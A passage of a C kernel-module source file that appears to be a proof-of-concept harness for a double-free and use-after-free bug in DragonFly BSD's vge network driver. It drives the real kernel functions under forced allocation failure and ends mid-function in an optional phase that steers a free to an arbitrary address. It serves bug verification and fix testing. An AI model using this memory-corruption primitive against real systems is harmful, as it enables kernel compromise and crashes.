/*
 * DF-4106 PoC harness — if_vge.c vge_rxeof() SOF branch ignores the
 * vge_newbuf() failure (if_vge.c:1294).  On failure the just-linked
 * head-chain mbuf REMAINS in vge_rx_mbuf[] and the descriptor still
 * points at its cluster: mbuf double-reference -> double free / UAF /
 * double-queued (cyclic) chain.
 *
 * THE REAL PRODUCTION HANDLERS are dispatched: the guest kernel is
 * built with `device vge` (X86_64_GENERIC), so the driver's static
 * vge_rxeof()/vge_newbuf()/vge_dma_map_addr() exist in the running
 * kernel image (/boot/kernel/kernel).  Their addresses are resolved
 * with nm(1) and injected into this KLD through sysctls; the rig then
 * calls THE KERNEL'S OWN CODE — nothing about the handler is
 * recompiled, copied or modified here.  (vge_rx_list_init and
 * vge_dma_free were inlined by the kernel build; their bodies —
 * straight-line loops around vge_newbuf() and busdma teardown — are
 * replayed here and call the real kernel functions where they exist.)
 *
 * The rig reconstructs the post-attach/post-init driver state:
 *   - struct vge_softc exactly as vge_attach/vge_dma_alloc left it
 *     (the tag/ring/map creation of if_vge.c:738-889 replayed
 *     verbatim, using the kernel's own vge_dma_map_addr callback),
 *   - 256 real m_getcl() mbufs hung on the ring exactly as
 *     vge_rx_list_init (if_vge.c:1195-1219) does, via the kernel's
 *     own vge_newbuf(),
 *   - a real lwkt serializer as ifp->if_serializer (production:
 *     vge_intr runs vge_rxeof under it),
 *   - a scratch page standing in for the MMIO BAR so the handler's
 *     trailing CSR_WRITE_2(VGE_RXDESC_RESIDUECNT) (if_vge.c:1408)
 *     lands harmlessly.
 * The "NIC" is simulated the only way the driver can observe it:
 * descriptor OWN-bit/status writes.
 *
 * The production failure condition — m_getcl(M_NOWAIT) returning NULL
 * inside vge_newbuf (if_vge.c:1111-1113, ENOBUFS) — is imposed by
 * draining the mbuf cluster pool on this CPU at the SOF slots.
 *
 * SCENARIO A (incomplete multi-fragment frame + allocation failure):
 *   slots 0,1 delivered as SOF fragments; both vge_newbuf() calls in
 *   the SOF branch fail and are IGNORED -> sc->vge_head chain holds
 *   m0,m1 while vge_rx_mbuf[0..1] still reference them (the
 *   double-reference).  Then:
 *     A1: ring wrap + one more dispatch -> slot 0/1 walked AGAIN ->
 *         m0 linked into the chain a SECOND time -> CYCLIC,
 *         double-queued chain, printed.
 *     A2: VERBATIM vge_stop() tail (if_vge.c:2102-2125): m_freem(head
 *         chain) frees m0,m1; the RX-list loop then frees
 *         vge_rx_mbuf[0]/[1] == m0,m1 AGAIN -> double free.
 *     A3: alias scan -> one mbuf returned to two owners.
 *
 * SCENARIO B (completed jumbo frame + allocation failure):
 *   slots 0,1 SOF + slot 2 EOF: SOF newbufs fail (ignored); the EOF
 *   branch newbuf ALSO fails and m_freem()s the head chain (m0,m1)
 *   while the ring still references them -> DANGLING ring entries.
 *   Pool recovers; the ring wraps; a frame completes into the reloaded
 *   slot 2; the next walk:
 *     B1: writes through the dangling entries (m->m_len :1286,
 *         m_flags :1290) — UAF writes / theft of whatever reallocated
 *         the freed mbufs (pointer-equality printed);
 *     B2: assembles the chain [stolen m0, freed m1, live m2] and
 *         hands it to ifp->if_input (:1395) — a freed mbuf delivered
 *         to the network stack.
 *
 * Build variant -DDF4106_PANIC: after the proofs, steers the
 * aliased-object primitive: a write through owner A's mbuf header
 * (stand-in for any attacker influence over the twin object) aims
 * owner B's m_freem() at 0x4141414141414141 -> Fatal trap 12.
 *
 * Usage (root):
 *   kldload ./df4106_vge_poc.ko
 *   sysctl -w kern.df4106.rxeof=0x$(nm /boot/kernel/kernel | awk '/ t vge_rxeof$/{print $1}')
 *   sysctl -w kern.df4106.newbuf=0x$(nm /boot/kernel/kernel | awk '/ t vge_newbuf$/{print $1}')
 *   sysctl -w kern.df4106.mapaddr=0x$(nm /boot/kernel/kernel | awk '/ t vge_dma_map_addr$/{print $1}')
 *   sysctl -w kern.df4106.go=1            # runs the scenarios
 *
 * Expected on stock /usr/src: "DOUBLE-REFERENCE", "CYCLE DETECTED",
 *   "DOUBLE FREE", "UAF"/"THEFT", "freed mbuf ... to if_input",
 *   "ALIAS CONFIRMED"  (+ trap 12 in the PANIC variant).
 * Expected on fixed /usr/src: every corrupted-state marker absent,
 *   "NO ALIAS FOUND", SURVIVED.
 */

#include <sys/param.h>
#include <sys/endian.h>
#include <sys/systm.h>
#include <sys/kernel.h>
#include <sys/module.h>
#include <sys/malloc.h>
#include <sys/mbuf.h>
#include <sys/serialize.h>
#include <sys/sysctl.h>
#include <sys/types.h>

#include <sys/bus.h>
#include <machine/bus_dma.h>	/* X86_64_BUS_SPACE_MEM */

#include <net/if.h>
#include <net/if_arp.h>
#include <net/if_var.h>
#include <net/if_poll.h>	/* struct ifpoll_compat (softc member) */

#include <dev/netif/vge/if_vgereg.h>
#include <dev/netif/vge/if_vgevar.h>

#define DF4106_MAGIC_VICTIM	0x4141414141414141UL
#define DF4106_SCAN_N		2200
#define DF4106_MAXHELD		45000	/* > kern.ipc.nmbclusters (33296) */

/* ------------------------------------------------------------------ */
/* REAL kernel handlers, resolved from /boot/kernel/kernel via nm(1)   */
/* ------------------------------------------------------------------ */
static void (*p_vge_rxeof)(struct vge_softc *, int);
static int  (*p_vge_newbuf)(struct vge_softc *, int, struct mbuf *);
static void (*p_vge_dma_map_addr)(void *, bus_dma_segment_t *, int, int);

static int df4106_panic;			/* kern.df4106.panic=1 */
static int df4106_ran;

SYSCTL_NODE(_kern, OID_AUTO, df4106, CTLFLAG_RW, 0, "DF-4106 PoC rig");

/*
 * Address-injection sysctls take hex STRINGS ("ffffffff808d2680"):
 * sysctl_handle_int/long clamp values above INT64_MAX, which is where
 * every static-kernel address lives on x86_64.
 */
static int
df4106_sysctl_addr(SYSCTL_HANDLER_ARGS, void **target)
{
	char buf[32];
	const char *s;
	int error, len;

	ksnprintf(buf, sizeof(buf), "0x%016llx",
	    (unsigned long long)(uintptr_t)*target);
	error = SYSCTL_OUT(req, buf, strlen(buf) + 1);
	if (error || req->newptr == NULL)
		return (error);
	len = req->newlen - req->newidx;
	if (len >= (int)sizeof(buf))
		return (EINVAL);
	error = SYSCTL_IN(req, buf, len);
	if (error)
		return (error);
	buf[len] = '\0';
	s = buf;
	if (s[0] == '0' && (s[1] == 'x' || s[1] == 'X'))
		s += 2;
	*target = (void *)(uintptr_t)strtoul(s, NULL, 16);
	return (0);
}

static int
df4106_sysctl_rxeof(SYSCTL_HANDLER_ARGS)
{
	return (df4106_sysctl_addr(oidp, arg1, arg2, req, (void **)&p_vge_rxeof));
}
SYSCTL_PROC(_kern_df4106, OID_AUTO, rxeof,
    CTLTYPE_STRING | CTLFLAG_RW, NULL, 0, df4106_sysctl_rxeof, "A",
    "kernel address of static vge_rxeof() (hex string)");

static int
df4106_sysctl_newbuf(SYSCTL_HANDLER_ARGS)
{
	return (df4106_sysctl_addr(oidp, arg1, arg2, req, (void **)&p_vge_newbuf));
}
SYSCTL_PROC(_kern_df4106, OID_AUTO, newbuf,
    CTLTYPE_STRING | CTLFLAG_RW, NULL, 0, df4106_sysctl_newbuf, "A",
    "kernel address of static vge_newbuf() (hex string)");

static int
df4106_sysctl_mapaddr(SYSCTL_HANDLER_ARGS)
{
	return (df4106_sysctl_addr(oidp, arg1, arg2, req,
	    (void **)&p_vge_dma_map_addr));
}
SYSCTL_PROC(_kern_df4106, OID_AUTO, mapaddr,
    CTLTYPE_STRING | CTLFLAG_RW, NULL, 0, df4106_sysctl_mapaddr, "A",
    "kernel address of static vge_dma_map_addr() (hex string)");

static struct lwkt_serialize df4106_ser;
static struct ifdata_pcpu *df4106_ifdata;
static void *df4106_mmio;
static u_int df4106_chains;

/*
 * Production if_input stand-in (ether_input/netisr in the real stack):
 * record the delivered chain, then consume it exactly as the network
 * stack eventually would (m_freem).
 */
static void
df4106_input(struct ifnet *ifp, struct mbuf *m, const struct pktinfo *pi,
    int cpuid)
{
	struct mbuf *x;
	int i;

	kprintf("df4106: if_input(ifp,%p) chain:", m);
	for (x = m, i = 0; x != NULL && i < 8; x = x->m_next, i++)
		kprintf(" [%p len=%d fl=%#x]", x, x->m_len, x->m_flags);
	kprintf("\n");
	df4106_chains++;
	m_freem(m);
}

/*
 * VERBATIM replay of vge_dma_alloc() (if_vge.c:738-889):
 * device_get_softc(dev)->sc, device_printf(dev,...)->kprintf, and the
 * kernel's own vge_dma_map_addr() for the ring-map loads.  (The
 * production tag quirks — RX list tag/map sized VGE_TX_LIST_SZ,
 * if_vge.c:828-854 — are replicated verbatim.)
 */
static int
df4106_dma_alloc(struct vge_softc *sc)
{
	int error, nseg, i;

#define VGE_NSEG_NEW 32
	error = bus_dma_tag_create(NULL,
			1, 0,
			BUS_SPACE_MAXADDR_32BIT,
			BUS_SPACE_MAXADDR,
			MAXBSIZE, VGE_NSEG_NEW,
			BUS_SPACE_MAXSIZE_32BIT,
			BUS_DMA_ALLOCNOW,
			&sc->vge_parent_tag);
	if (error) {
		kprintf("df4106: can't create parent dma tag\n");
		return error;
	}

	nseg = 32;
	error = bus_dma_tag_create(sc->vge_parent_tag, ETHER_ALIGN, 0,
				   BUS_SPACE_MAXADDR_32BIT, BUS_SPACE_MAXADDR,
				   MCLBYTES * nseg, nseg, MCLBYTES,
				   BUS_DMA_ALLOCNOW, &sc->vge_ldata.vge_mtag);
	if (error) {
		kprintf("df4106: could not allocate mbuf dma tag\n");
		return error;
	}

	error = bus_dma_tag_create(sc->vge_parent_tag, VGE_RING_ALIGN, 0,
				   BUS_SPACE_MAXADDR_32BIT, BUS_SPACE_MAXADDR,
				   VGE_TX_LIST_SZ, 1, VGE_TX_LIST_SZ,
				   BUS_DMA_ALLOCNOW,
				   &sc->vge_ldata.vge_tx_list_tag);
	if (error) {
		kprintf("df4106: could not allocate tx list dma tag\n");
		return error;
	}

	error = bus_dmamem_alloc(sc->vge_ldata.vge_tx_list_tag,
				 (void **)&sc->vge_ldata.vge_tx_list,
				 BUS_DMA_WAITOK | BUS_DMA_ZERO,
				 &sc->vge_ldata.vge_tx_list_map);
	if (error) {
		kprintf("df4106: could not allocate tx list dma memory\n");
		return error;
	}

	error = bus_dmamap_load(sc->vge_ldata.vge_tx_list_tag,
				sc->vge_ldata.vge_tx_list_map,
				sc->vge_ldata.vge_tx_list, VGE_TX_LIST_SZ,
				p_vge_dma_map_addr,
				&sc->vge_ldata.vge_tx_list_addr,
				BUS_DMA_WAITOK);
	if (error) {
		kprintf("df4106: could not load tx list\n");
		return error;
	}

	for (i = 0; i < VGE_TX_DESC_CNT; i++) {
		error = bus_dmamap_create(sc->vge_ldata.vge_mtag, 0,
					  &sc->vge_ldata.vge_tx_dmamap[i]);
		if (error) {
			kprintf("df4106: can't create DMA map for TX\n");
			return error;
		}
	}

	error = bus_dma_tag_create(sc->vge_parent_tag, VGE_RING_ALIGN, 0,
				   BUS_SPACE_MAXADDR_32BIT, BUS_SPACE_MAXADDR,
				   VGE_TX_LIST_SZ, 1, VGE_TX_LIST_SZ,
				   BUS_DMA_ALLOCNOW,
				   &sc->vge_ldata.vge_rx_list_tag);
	if (error) {
		kprintf("df4106: could not allocate rx list dma tag\n");
		return error;
	}

	error = bus_dmamem_alloc(sc->vge_ldata.vge_rx_list_tag,
				 (void **)&sc->vge_ldata.vge_rx_list,
				 BUS_DMA_WAITOK | BUS_DMA_ZERO,
				 &sc->vge_ldata.vge_rx_list_map);
	if (error) {
		kprintf("df4106: could not allocate rx list dma memory\n");
		return error;
	}

	error = bus_dmamap_load(sc->vge_ldata.vge_rx_list_tag,
				sc->vge_ldata.vge_rx_list_map,
				sc->vge_ldata.vge_rx_list, VGE_TX_LIST_SZ,
				p_vge_dma_map_addr,
				&sc->vge_ldata.vge_rx_list_addr,
				BUS_DMA_WAITOK);
	if (error) {
		kprintf("df4106: could not load rx list\n");
		return error;
	}

	for (i = 0; i < VGE_RX_DESC_CNT; i++) {
		error = bus_dmamap_create(sc->vge_ldata.vge_mtag, 0,
					  &sc->vge_ldata.vge_rx_dmamap[i]);
		if (error) {
			kprintf("df4106: can't create DMA map for RX\n");
			return error;
		}
	}
	return (0);
}

/*
 * VERBATIM replay of vge_rx_list_init() (if_vge.c:1195-1219) — the
 * kernel build inlined it, so replay the straight-line body, calling
 * the kernel's OWN vge_newbuf() for every slot.
 */
static int
df4106_rx_list_init(struct vge_softc *sc)
{
	int i;

	bzero(sc->vge_ldata.vge_rx_list, VGE_RX_LIST_SZ);
	bzero(&sc->vge_ldata.vge_rx_mbuf,
	      VGE_RX_DESC_CNT * sizeof(struct mbuf *));

	sc->vge_rx_consumed = 0;

	for (i = 0; i < VGE_RX_DESC_CNT; i++) {
		if (p_vge_newbuf(sc, i, NULL) == ENOBUFS)
			return (ENOBUFS);
	}

	/* Flush the RX descriptors */
	bus_dmamap_sync(sc->vge_ldata.vge_rx_list_tag,
			sc->vge_ldata.vge_rx_list_map,
			BUS_DMASYNC_PREWRITE);

	sc->vge_ldata.vge_rx_prodidx = 0;
	sc->vge_rx_consumed = 0;
	sc->vge_head = sc->vge_tail = NULL;
	return (0);
}

/*
 * VERBATIM replay of the vge_stop() mbuf teardown (if_vge.c:2102-2125):
 * free the head chain first, then every non-NULL RX-list mbuf.
 */
static void
df4106_stop_tail(struct vge_softc *sc)
{
	int i;

	if (sc->vge_head != NULL) {
		kprintf("df4106: vge_stop: m_freem(head chain %p)\n",
		    sc->vge_head);
		m_freem(sc->vge_head);
		sc->vge_head = sc->vge_tail = NULL;
	}
	for (i = 0; i < VGE_RX_DESC_CNT; i++) {
		if (sc->vge_ldata.vge_rx_mbuf[i] != NULL) {
			if (i < 4)
				kprintf("df4106: vge_stop: m_freem(rx_mbuf[%d]"
				    "=%p)\n", i, sc->vge_ldata.vge_rx_mbuf[i]);
			bus_dmamap_unload(sc->vge_ldata.vge_mtag,
					  sc->vge_ldata.vge_rx_dmamap[i]);
			m_freem(sc->vge_ldata.vge_rx_mbuf[i]);
			sc->vge_ldata.vge_rx_mbuf[i] = NULL;
		}
	}
}

/* VERBATIM replay of vge_dma_free() (if_vge.c:892-933; inlined in build) */
static void
df4106_dma_free(struct vge_softc *sc)
{
	int i;

	if (sc->vge_ldata.vge_rx_list_tag) {
		bus_dmamap_unload(sc->vge_ldata.vge_rx_list_tag,
				  sc->vge_ldata.vge_rx_list_map);
		bus_dmamem_free(sc->vge_ldata.vge_rx_list_tag,
				sc->vge_ldata.vge_rx_list,
				sc->vge_ldata.vge_rx_list_map);
	}
	if (sc->vge_ldata.vge_rx_list_tag)
		bus_dma_tag_destroy(sc->vge_ldata.vge_rx_list_tag);

	if (sc->vge_ldata.vge_tx_list_tag) {
		bus_dmamap_unload(sc->vge_ldata.vge_tx_list_tag,
				  sc->vge_ldata.vge_tx_list_map);
		bus_dmamem_free(sc->vge_ldata.vge_tx_list_tag,
				sc->vge_ldata.vge_tx_list,
				sc->vge_ldata.vge_tx_list_map);
	}
	if (sc->vge_ldata.vge_tx_list_tag)
		bus_dma_tag_destroy(sc->vge_ldata.vge_tx_list_tag);

	if (sc->vge_ldata.vge_mtag) {
		for (i = 0; i < VGE_TX_DESC_CNT; i++)
			bus_dmamap_destroy(sc->vge_ldata.vge_mtag,
					   sc->vge_ldata.vge_tx_dmamap[i]);
		for (i = 0; i < VGE_RX_DESC_CNT; i++)
			bus_dmamap_destroy(sc->vge_ldata.vge_mtag,
					   sc->vge_ldata.vge_rx_dmamap[i]);
	}
	if (sc->vge_parent_tag)
		bus_dma_tag_destroy(sc->vge_parent_tag);
}

static void
df4106_dump_slots(struct vge_softc *sc, const char *tag)
{
	int i;

	kprintf("df4106: [%s] head=%p tail=%p consumed=%d prodidx=%d\n", tag,
	    sc->vge_head, sc->vge_tail, sc->vge_rx_consumed,
	    sc->vge_ldata.vge_rx_prodidx);
	for (i = 0; i < 4; i++)
		kprintf("df4106: [%s] slot %d: sts=%#010x own=%d rx_mbuf=%p\n",
		    tag, i,
		    le32toh(sc->vge_ldata.vge_rx_list[i].vge_sts),
		    !!(le32toh(sc->vge_ldata.vge_rx_list[i].vge_sts) &
		       VGE_RDSTS_OWN),
		    sc->vge_ldata.vge_rx_mbuf[i]);
}

/* ------------------------------------------------------------------ */
/* Cluster-pool drain / release                                       */
/* ------------------------------------------------------------------ */
static struct mbuf **df4106_held;
static int df4106_nheld;

static int
df4106_drain(void)
{
	struct mbuf *m;

	df4106_nheld = 0;
	while ((m = m_getcl(M_NOWAIT, MT_DATA, M_PKTHDR)) != NULL) {
		if (df4106_nheld == DF4106_MAXHELD) {
			kprintf("df4106: drain cap hit without failure — "
			    "ABORT (assumption broken)\n");
			return (-1);
		}
		df4106_held[df4106_nheld++] = m;
	}
	kprintf("df4106: drained %d mbuf clusters — m_getcl(M_NOWAIT) now "
	    "FAILS (vge_newbuf ENOBUFS path armed)\n", df4106_nheld);
	return (0);
}

static void
df4106_release(int n)
{
	int r;

	for (r = 0; r < n && df4106_nheld > 0; r++)
		m_freem(df4106_held[--df4106_nheld]);
}

static void
df4106_release_all(void)
{
	while (df4106_nheld > 0)
		m_freem(df4106_held[--df4106_nheld]);
}

/*
 * Allocate m_getcl()s and report any mbuf returned to two owners.
 * Frees every allocation whose index is not marked in skip[] (the
 * caller marks duplicate copies so the demonstrated phantom cache
 * entries are consumed exactly once — keeps the pool balanced).
 * In PANIC mode the first aliased pair is recorded and never freed,
 * for the steering phase at the end.
 */
static struct mbuf *df4106_alias;

static int
df4106_alias_scan(const char *tag)
{
	struct mbuf **scan;
	char *skip;
	int n = 0, i, j, dup = 0;

	scan = kmalloc(DF4106_SCAN_N * sizeof(*scan), M_TEMP, M_WAITOK);
	skip = kmalloc(DF4106_SCAN_N, M_TEMP, M_WAITOK | M_ZERO);

	while (n < DF4106_SCAN_N &&
	       (scan[n] = m_getcl(M_NOWAIT, MT_DATA, M_PKTHDR)) != NULL)
		n++;
	for (i = 0; i < n; i++) {
		if (skip[i])
			continue;
		for (j = i + 1; j < n; j++) {
			if (scan[j] == scan[i]) {
				skip[j] = 1;	/* consume phantom copy */
				if (!dup) {
					kprintf("df4106: *** [%s] ALIAS "
					    "CONFIRMED: allocations #%d and "
					    "#%d returned the SAME mbuf %p "
					    "(cluster %p) — one kernel object "
					    "with two live owners (double "
					    "free materialized) ***\n",
					    tag, i, j, scan[i],
					    scan[i]->m_ext.ext_buf);
					if (df4106_panic && df4106_alias == NULL) {
						df4106_alias = scan[i];
						skip[i] = 1;	/* keep alive */
					}
				}
				dup++;
			}
		}
	}
	if (!dup)
		kprintf("df4106: [%s] NO ALIAS FOUND in %d allocations\n",
		    tag, n);
	else
		kprintf("df4106: [%s] %d aliased allocation(s) found\n",
		    tag, dup);

	for (i = 0; i < n; i++)
		if (!skip[i])
			m_freem(scan[i]);
	kfree(scan, M_TEMP);
	kfree(skip, M_TEMP);
	return (dup);
}

/* ================================================================== */
/* SCENARIO A — incomplete multi-fragment frame + allocation failure  */
/* ================================================================== */
static int
df4106_scenario_a(struct vge_softc *sc)
{
	struct mbuf *m0, *m1, *x;
	int i, dup = 0;

	kprintf("df4106: ============ SCENARIO A: SOF failure, incomplete "
	    "frame, vge_stop double free ============\n");

	if (df4106_rx_list_init(sc)) {
		kprintf("df4106: A: rx_list_init failed\n");
		return (-1);
	}
	m0 = sc->vge_ldata.vge_rx_mbuf[0];
	m1 = sc->vge_ldata.vge_rx_mbuf[1];
	kprintf("df4106: A: ring initialized; m0=%p m1=%p\n", m0, m1);

	/* NIC delivered SOF fragments into slots 0 and 1; frame incomplete */
	sc->vge_ldata.vge_rx_list[0].vge_sts =
	    htole32(VGE_RXPKT_SOF | VGE_RDSTS_RXOK | (2044 << 16));
	sc->vge_ldata.vge_rx_list[1].vge_sts =
	    htole32(VGE_RXPKT_SOF | VGE_RDSTS_RXOK | (2044 << 16));

	if (df4106_drain())
		return (-1);

	kprintf("df4106: A: dispatch 1 (REAL kernel vge_rxeof)\n");
	p_vge_rxeof(sc, -1);

	df4106_dump_slots(sc, "A-after-dispatch1");
	kprintf("df4106: *** A: DOUBLE-REFERENCE: head chain {");
	for (x = sc->vge_head, i = 0; x != NULL && i < 4; x = x->m_next, i++)
		kprintf("%s%p", i ? "->" : "", x);
	kprintf("} AND ring rx_mbuf[0]=%p rx_mbuf[1]=%p reference the same "
	    "mbufs — the ignored vge_newbuf() failure at if_vge.c:1294 "
	    "***\n", sc->vge_ldata.vge_rx_mbuf[0],
	    sc->vge_ldata.vge_rx_mbuf[1]);

	/*
	 * A1: ring wrap — the next interrupt walks slots 0/1 again while
	 * the head chain is still pending.  Slot 0's mbuf (the chain
	 * HEAD) is linked into the chain AGAIN at its tail: cyclic,
	 * double-queued mbuf.
	 */
	sc->vge_ldata.vge_rx_prodidx = 0;
	kprintf("df4106: A: dispatch 2 (ring wrap, REAL kernel vge_rxeof)\n");
	p_vge_rxeof(sc, -1);

	kprintf("df4106: A: head chain now:");
	for (x = sc->vge_head, i = 0; x != NULL && i < 6; x = x->m_next, i++)
		kprintf(" %p", x);
	kprintf("\n");
	if (sc->vge_head != NULL && sc->vge_head->m_next != NULL &&
	    sc->vge_head->m_next->m_next == sc->vge_head) {
		kprintf("df4106: *** A1: CYCLE DETECTED: %p is queued twice "
		    "(head and tail) — double-queued mbuf, m1->m_next == m0 "
		    "***\n", sc->vge_head);
		/*
		 * Production consequence (traced, not run): delivering
		 * this chain at the EOF slot sends a cyclic mbuf chain
		 * into if_input/m_freem — an unkillable free loop and an
		 * infinite chain for every consumer.  The rig breaks the
		 * cycle here (m1->m_next = NULL) only so the guest
		 * survives to demonstrate the vge_stop double free.
		 */
		sc->vge_head->m_next->m_next = NULL;
	}

	/*
	 * A2: VERBATIM vge_stop tail — frees the head chain (m0, m1)
	 * and then frees rx_mbuf[0]/[1] (== m0, m1) again.
	 */
	kprintf("df4106: A: vge_stop tail (if_vge.c:2102-2125)\n");
	kprintf("df4106: *** A2: DOUBLE FREE: m0=%p and m1=%p are passed to "
	    "m_freem() twice — once in the head chain, once in the RX-list "
	    "loop ***\n", m0, m1);
	df4106_stop_tail(sc);

	kprintf("df4106: A: releasing pool, alias scan\n");
	df4106_release_all();
	dup = df4106_alias_scan("A");
	return (dup ? 0 : 1);
}

/* ================================================================== */
/* SCENARIO B — completed jumbo frame + allocation failure            */
/* ================================================================== */
static int
df4106_scenario_b(struct vge_softc *sc)
{
	struct mbuf *m0, *m1, *m2, *vic[2] = { NULL, NULL };
	int i, dup = 0;
	u_int chains_before;

	kprintf("df4106: ============ SCENARIO B: SOF failure on a completed "
	    "jumbo, next-walk UAF/theft ============\n");

	if (df4106_rx_list_init(sc)) {
		kprintf("df4106: B: rx_list_init failed\n");
		return (-1);
	}
	m0 = sc->vge_ldata.vge_rx_mbuf[0];
	m1 = sc->vge_ldata.vge_rx_mbuf[1];
	m2 = sc->vge_ldata.vge_rx_mbuf[2];
	kprintf("df4106: B: ring initialized; m0=%p m1=%p m2=%p\n",
	    m0, m1, m2);

	/* NIC delivered a 6132-byte jumbo: SOF SOF EOF */
	sc->vge_ldata.vge_rx_list[0].vge_sts =
	    htole32(VGE_RXPKT_SOF | VGE_RDSTS_RXOK | (2044 << 16));
	sc->vge_ldata.vge_rx_list[1].vge_sts =
	    htole32(VGE_RXPKT_SOF | VGE_RDSTS_RXOK | (2044 << 16));
	sc->vge_ldata.vge_rx_list[2].vge_sts =
	    htole32(VGE_RDSTS_RXOK | (6132 << 16));

	if (df4106_drain())
		return (-1);

	kprintf("df4106: B: dispatch 1 (REAL kernel vge_rxeof)\n");
	p_vge_rxeof(sc, -1);

	df4106_dump_slots(sc, "B-after-dispatch1");
	kprintf("df4106: *** B: the EOF branch (if_vge.c:1328-1337) "
	    "m_freem()d the head chain {m0,m1} while the failed SOF "
	    "newbufs left vge_rx_mbuf[0]=%p (==m0: %s) and rx_mbuf[1]=%p "
	    "(==m1: %s) DANGLING in the ring ***\n",
	    sc->vge_ldata.vge_rx_mbuf[0],
	    sc->vge_ldata.vge_rx_mbuf[0] == m0 ? "YES" : "no",
	    sc->vge_ldata.vge_rx_mbuf[1],
	    sc->vge_ldata.vge_rx_mbuf[1] == m1 ? "YES" : "no");

	/*
	 * Pool recovers; unrelated kernel allocations recycle the freed
	 * mbufs (m_data adjusted exactly as vge_newbuf leaves its mbufs
	 * so the demonstration does not smear allocator metadata).
	 */
	df4106_release(64);
	for (i = 0; i < 2; i++) {
		vic[i] = m_getcl(M_NOWAIT, MT_DATA, M_PKTHDR);
		if (vic[i] == NULL)
			break;
		vic[i]->m_data = vic[i]->m_ext.ext_buf + VGE_ETHER_ALIGN;
		kprintf("df4106: B: unrelated alloc %d = %p%s%s\n", i, vic[i],
		    vic[i] == m0 ? "  <== RECYCLED m0 (dangling ring entry 0)" : "",
		    vic[i] == m1 ? "  <== RECYCLED m1 (dangling ring entry 1)" : "");
	}

	/*
	 * Protocol-faithful slot-2 re-arm: three completed frames in
	 * slots 3,4,5 push vge_rx_consumed to a 4-window that ORs OWN
	 * onto slots 2..5 (if_vge.c:1161-1168), so the chip may legally
	 * deliver the completed frame into the reloaded slot-2 buffer.
	 */
	sc->vge_ldata.vge_rx_list[3].vge_sts =
	    htole32(VGE_RDSTS_RXOK | (1500 << 16));
	sc->vge_ldata.vge_rx_list[4].vge_sts =
	    htole32(VGE_RDSTS_RXOK | (1500 << 16));
	sc->vge_ldata.vge_rx_list[5].vge_sts =
	    htole32(VGE_RDSTS_RXOK | (1500 << 16));
	p_vge_rxeof(sc, -1);			/* prodidx==3 */
	sc->vge_ldata.vge_rx_list[2].vge_sts =
	    htole32(VGE_RDSTS_RXOK | (6132 << 16));

	/*
	 * Ring wraps; the next interrupt walks the dangling slots 0/1
	 * again and completes the frame at slot 2.
	 */
	sc->vge_ldata.vge_rx_prodidx = 0;
	kprintf("df4106: B: dispatch 2 (ring wrap over dangling entries, "
	    "REAL kernel vge_rxeof)\n");
	chains_before = df4106_chains;
	p_vge_rxeof(sc, -1);

	df4106_dump_slots(sc, "B-after-dispatch2");
	for (i = 0; i < 2; i++) {
		if (vic[i] == NULL)
			continue;
		kprintf("df4106: *** B1: %s alloc %d (%p): m_len=%d m_flags="
		    "%#x — the REAL handler wrote through the dangling "
		    "ring entry (%s) ***\n",
		    vic[i] == m0 || vic[i] == m1 ? "RECYCLED" : "unrelated",
		    i, vic[i], vic[i]->m_len, vic[i]->m_flags,
		    vic[i] == m0 || vic[i] == m1 ?
		    "UAF write + object theft" : "untouched");
	}
	if (df4106_chains == chains_before + 1)
		kprintf("df4106: *** B2: a chain containing the freed/stolen "
		    "mbufs was delivered to ifp->if_input (if_vge.c:1395) — "
		    "see the if_input chain printout above ***\n");
	else
		kprintf("df4106: B: unexpected delivered-chain count %u -> %u"
		    "\n", chains_before, df4106_chains);

	/* teardown: ring entries are fresh now — single, legit frees */
	df4106_stop_tail(sc);
	df4106_release_all();
	/*
	 * Owner-side frees of the victims: an owner whose mbuf was stolen
	 * through the dangling ring entry does not know it was already
	 * consumed by the if_input path, and frees it when done — the
	 * second free that turns the theft into pool aliasing.
	 */
	for (i = 0; i < 2; i++)
		if (vic[i] != NULL)
			m_freem(vic[i]);
	dup = df4106_alias_scan("B");
	return (dup ? 0 : 1);
}

static int
df4106_run(void)
{
	struct vge_softc *sc;
	struct ifnet *ifp;
	int rc, a_dup = 0, b_dup = 0;

	if (p_vge_rxeof == NULL || p_vge_newbuf == NULL ||
	    p_vge_dma_map_addr == NULL) {
		kprintf("df4106: kernel addresses not set — use "
		    "kern.df4106.{rxeof,newbuf,mapaddr}\n");
		return (EINVAL);
	}
	kprintf("df4106: dispatching REAL kernel handlers: "
	    "vge_rxeof=%p vge_newbuf=%p vge_dma_map_addr=%p\n",
	    p_vge_rxeof, p_vge_newbuf, p_vge_dma_map_addr);

	df4106_held = kmalloc(DF4106_MAXHELD * sizeof(*df4106_held), M_TEMP,
	    M_WAITOK | M_ZERO);
	df4106_mmio = kmalloc(PAGE_SIZE, M_TEMP, M_WAITOK | M_ZERO);
	df4106_ifdata = kmalloc(64 * sizeof(*df4106_ifdata), M_TEMP,
	    M_WAITOK | M_ZERO);

	sc = kmalloc(sizeof(*sc), M_TEMP, M_WAITOK | M_ZERO);
	ifp = &sc->arpcom.ac_if;

	/* post-ether_ifattach ifnet state that vge_rxeof() touches */
	strlcpy(ifp->if_xname, "dfvge0", sizeof(ifp->if_xname));
	ifp->if_softc = sc;
	ifp->if_serializer = &df4106_ser;
	ifp->if_input = df4106_input;
	ifp->if_data_pcpu = df4106_ifdata;
	ifp->if_capenable = 0;		/* skip the RX csum path */

	/* MMIO BAR stand-in: MEM-space tag + writable kernel page */
	sc->vge_btag = (bus_space_tag_t)X86_64_BUS_SPACE_MEM;
	sc->vge_bhandle = (bus_space_handle_t)(uintptr_t)df4106_mmio;

	lwkt_serialize_init(&df4106_ser);

	kprintf("df4106: === Phase 0: fabricate post-attach softc "
	    "(vge_dma_alloc replay + MMIO stand-in) ===\n");
	rc = df4106_dma_alloc(sc);
	if (rc) {
		kprintf("df4106: dma setup failed: %d\n", rc);
		goto out_free;
	}

	lwkt_serialize_enter(&df4106_ser);	/* as vge_intr would */

	a_dup = df4106_scenario_a(sc);
	b_dup = df4106_scenario_b(sc);

	if (df4106_panic && df4106_alias != NULL) {
		kprintf("df4106: === PANIC phase: steer owner B's free through "
		    "owner A's header ===\n");
		/*
		 * The double free left ONE mbuf reachable from two owners.
		 * A write through owner A's mbuf header (stand-in for any
		 * attacker influence over the twin object — e.g. the other
		 * owner's data path rewriting the header from packet
		 * content) aims owner B's completely normal m_freem() at an
		 * arbitrary address.
		 */
		kprintf("df4106: aliased mbuf %p: owner A sets m_next := "
		    "%#lx; owner B calls m_freem()\n", df4106_alias,
		    DF4106_MAGIC_VICTIM);
